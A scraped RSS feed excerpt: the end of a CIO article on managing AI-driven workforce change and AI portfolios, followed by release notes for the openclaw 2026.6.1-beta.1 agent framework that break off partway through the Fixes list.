<p>By my calculation, out of the 27 million roles at risk, roughly 14% may be permanently lost, amounting to 3.78 million. A further 74% will be reskilled and upskilled, and 12% will be rehired as firms are forced to modify versions of the same roles to repair broken workflows. This means that the bulk of the work over the next three years, or about 86% of this total shift, will be in reskilling, upskilling and rehiring.</p>



<p>Rather than job replacement due to AI exposure, this seems more like any other automation and augmentation journey as we’ve seen previously with RPA and other technologies. According to Steve Hill, managing partner at AI, cybersecurity, and management consulting firm OakTruss Group, the adoption problems aren’t technical. “RPA taught us that people matter in ways that were unforeseen,” he says. “Agentic AI is the new bandwagon, but many failures will come from lack of attention to culture, <a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html?utm=hybrid_search">change management</a>, workforce trust, and clarity of purpose, not the models themselves.”</p>



<p>CIOs should therefore expect AI transformations to drag on just like <a href="https://www.cio.com/article/4154263/10-ways-to-accelerate-digital-transformation-2.html?utm=hybrid_search">digital transformations</a>. Purchasing the tech will be the easy part, but fundamentally rethinking and redesigning all aspects of the business — including operations, processes, and products and services —will be a heavy lift requiring more critical thinking, and by more people.   </p>



<h2 class="wp-block-heading">Manage your AI portfolio across the full innovation lifecycle</h2>



<p>With current attention squarely on AI governance, it’s easy to focus on downstream aspects such as AI risk, compliance, trust, ethics, security, sovereignty, and sustainability. Of course, all this needs to be considered and planned well in advance, and the earlier in the innovation lifecycle, the better.</p>



<p>As attention moves to scaling, CIOs need to ensure they maintain the tools and processes to professionally manage the front-end of the innovation lifecycle as well. While excessive <a href="https://www.cio.com/article/4010291/cios-drop-shotgun-approach-to-get-more-strategic-with-ai-pilots.html?utm=hybrid_search">AI pilots</a> and prototypes are criticized in today’s environment, the truth is they’re still essential to maintaining a healthy and continuous innovation pipeline from idea to value.</p>



<p>CIOs should ensure they have robust means to identify and prioritize AI-related ideas, inventory AI use cases across the enterprise, and track all their associated meta-data across finance, IT and governance, and risk and compliance.</p>



<p>To get started on identifying and prioritizing AI-related ideas, and to make it a core competency, look to techniques such as <a href="https://www.cio.com/article/3574330/how-innovation-workshops-help-to-get-smart-about-gen-ai-use-cases.html">innovation workshops</a> as well as the software-side of things. Workshops incorporate the human-side of AI transformation by way of highly-collaborative, interactive sessions bringing in a cross-functional set of subject matter experts and stakeholders that software alone can’t replicate.</p>



<h2 class="wp-block-heading">Assess your team’s skills as well as your AI</h2>



<p>Just as CIOs apply governance and associated guardrails around AI, they also need to examine their teams — where do you need to retrain, upskill, and hire? It often takes more skill to work with AI, and decide when to use and not use it, than perform the work in the first place.</p>



<p>The analogy of moving from a pyramid-shaped workforce to a diamond-shaped one can be misleading. While entry-level jobs can be replaced with AI, not all entry-level jobs are created equal. Recent <a href="https://www.thinkers360.com/thinkers360-launches-mba-graduate-launchpad-to-combat-ai-driven-job-market-disruption/" rel="nofollow">MBA graduates</a>, for example, may come into entry-level roles, but they have the business acumen and critical thinking skills the organization needs more of.   </p>



<p>Just because AI can give the impression for teams to think less, they shouldn’t. In fact, it’s important to look for team members who are self-motivated to think differently and examine AI outputs more at every step. For example, AI is notoriously bad at <a href="https://hbr.org/2026/03/researchers-asked-llms-for-strategic-advice-they-got-trendslop-in-return" rel="nofollow">providing strategy advice</a> and often produces trendslop instead. So do teams have the intelligence to analyze and interpret every AI output, and determine the signal from the noise, or do they just take it on face value and act on it?</p>



<p>Look for individuals who don’t just sit back and propagate AI slop in their workflows, decisions, and emails, but know where and when to use it and apply their own judgment. The regular assessment of your team’s skills is as essential as the regular assessment of your AI.</p>



<h2 class="wp-block-heading">Automate when appropriate</h2>



<p>In addition to having teams that know where and when to rely on AI, it’s important to take a similar approach for each AI use case and application across the enterprise. Determine when you need <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic versus deterministic code</a>, when you need both, and when you need human-in-the-loop or not.</p>



<p>In high-risk AI situations, you may decide to prohibit the deployment of autonomous systems in core financial or customer-facing workflows unless the underlying model and its orchestration layer have successfully passed a pilot with documented safety metrics. As <a href="https://www.cio.com/article/4160777/5-lessons-from-everest-for-high-risk-ai-projects.html">reported previously</a> in KPMG’s <a href="https://kpmg.com/us/en/articles/2025/ai-quarterly-pulse-survey.html" rel="nofollow">Q1 2026 AI Pulse Survey</a>, these types of restrictions are well underway, with 43% of organizations identifying high-risk use cases where autonomous agent decision-making isn’t allowed.</p>



<p>Overall, success in AI transformation is less about eliminating jobs and more about carefully rethinking and redesigning how work gets done, including where and when to use human skills and AI, and more often, where and when to carefully orchestrate both. The humans you plug into this new AI transformation need to be smarter than ever.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.1-beta.1]]></title>
<description><![CDATA[2026.6.1
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Sl...]]></description>
<link>https://tsecurity.de/de/3562543/downloads/openclaw-202661-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562543/downloads/openclaw-202661-beta1/</guid>
<pubDate>Mon, 01 Jun 2026 11:46:18 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.1</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.</li>
<li>Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, keep drafts local while typing, trace first-output latency, and expose calmer composer controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559381540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88825/hovercard" href="https://github.com/openclaw/openclaw/pull/88825">#88825</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559632397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88851/hovercard" href="https://github.com/openclaw/openclaw/pull/88851">#88851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Release, CI, Docker, E2E, plugin install, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, status polling, and rollback snapshots so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>iOS: support native iPad display layouts.</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Workboard: wire task-backed board runs and show task comments in the edit modal.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Code mode: add MCP API files and docs for code-mode integrations.</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: add calmer chat composer controls, local draft typing state, and first-output latency instrumentation for active chat entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>)</li>
<li>Providers: add MiniMax M3 model support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>Doctor: add disk space health checks and stabilize post-upgrade JSON probes.</li>
<li>Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.</li>
<li>Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.</li>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, prevent aborted app-server turn handles from lingering, migrate legacy OpenAI Codex <code>lastGood</code> auth state, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>CLI/desktop: bridge WSL clipboard operations through the shell and recognize manual-update launchd jobs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558805270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88764/hovercard" href="https://github.com/openclaw/openclaw/pull/88764">#88764</a>)</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Plugins: preserve npm plugin roots after blocked installs, skip plugin-local <code>openclaw</code> peer symlinks during rollback snapshots, relink those peers after restore, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375645088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77237/hovercard" href="https://github.com/openclaw/openclaw/pull/77237">#77237</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559215204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88807/hovercard" href="https://github.com/openclaw/openclaw/pull/88807">#88807</a>)</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.</li>
